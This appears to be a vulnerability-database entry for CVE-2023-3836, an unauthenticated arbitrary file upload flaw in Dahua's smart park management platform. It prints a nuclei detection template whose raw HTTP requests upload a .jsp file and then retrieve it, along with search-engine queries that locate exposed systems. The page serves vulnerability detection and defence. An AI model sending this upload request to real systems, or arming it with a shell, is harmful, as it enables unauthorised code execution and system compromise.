CVE-2023-3836· dahuasecurity / smart parking management· CWE-434
Dahua Smart Park Management - Arbitrary File Upload
criticalseverity
9.8CVSS score
73.7%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it
Dahua wisdom park integrated management platform is a comprehensive management platform, a park operations,resource allocation, and intelligence services,and other functions, including/emap/devicePoint_addImgIco?.
Impact
Unauthenticated attackers can upload arbitrary files to the Dahua wisdom park management platform, potentially enabling remote code execution and complete system compromise.
Fix
Apply the latest security patch or update provided by the vendor to fix the arbitrary file upload vulnerability.
How to confirm it
Send: POST /emap/devicePoint_addImgIco?hasSubsystem=true ; GET /upload/emap/society_new/{{shell_filename}}
Positive when: status_code_1 == 200 && status_code_2 == 200 and contains(body_2, '{{match_str}}')Run it with nuclei: nuclei -id CVE-2023-3836 -u <target>
The full check
id: CVE-2023-3836
info:
name: Dahua Smart Park Management - Arbitrary File Upload
author: HuTa0
severity: critical
description: |
Dahua wisdom park integrated management platform is a comprehensive management platform, a park operations,resource allocation, and intelligence services,and other functions, including/emap/devicePoint_addImgIco?.
impact: |
Unauthenticated attackers can upload arbitrary files to the Dahua wisdom park management platform, potentially enabling remote code execution and complete system compromise.
remediation: |
Apply the latest security patch or update provided by the vendor to fix the arbitrary file upload vulnerability.
reference:
- https://github.com/qiuhuihk/cve/blob/main/upload.md
- https://nvd.nist.gov/vuln/detail/CVE-2023-3836
- https://vuldb.com/?ctiid.235162
- https://vuldb.com/?id.235162
- https://github.com/1f3lse/taiE
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-3836
cwe-id: CWE-434
epss-score: 0.7367
epss-percentile: 0.99475
cpe: cpe:2.3:a:dahuasecurity:smart_parking_management:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
vendor: dahuasecurity
product: smart_parking_management
shodan-query:
- html:"/WPMS/asset"
- http.html:"/wpms/asset"
fofa-query: body="/wpms/asset"
zoomeye-query: app="大华智慧园区综合管理平台"
tags: cve2023,cve,dahua,fileupload,intrusive,rce,dahuasecurity,vkev,vuln
variables:
random_str: "{{rand_base(6)}}"
match_str: "{{md5(random_str)}}"
http:
- raw:
- |
POST /emap/devicePoint_addImgIco?hasSubsystem=true HTTP/1.1
Content-Type: multipart/form-data; boundary=A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT
Host: {{Hostname}}
--A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT
Content-Disposition: form-data; name="upload"; filename="{{random_str}}.jsp"
Content-Type: application/octet-stream
Content-Transfer-Encoding: binary
{{match_str}}
--A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT--
- |
GET /upload/emap/society_new/{{shell_filename}} HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- "status_code_1 == 200 && status_code_2 == 200"
- "contains(body_2, '{{match_str}}')"
condition: and
extractors:
- type: regex
name: shell_filename
internal: true
part: body_1
regex:
- 'ico_res_(\w+)_on\.jsp'References
- https://github.com/qiuhuihk/cve/blob/main/upload.md
- https://nvd.nist.gov/vuln/detail/CVE-2023-3836
- https://vuldb.com/?ctiid.235162
- https://vuldb.com/?id.235162
- https://github.com/1f3lse/taiE
Use this check only on systems you are authorised to test. Where the data comes from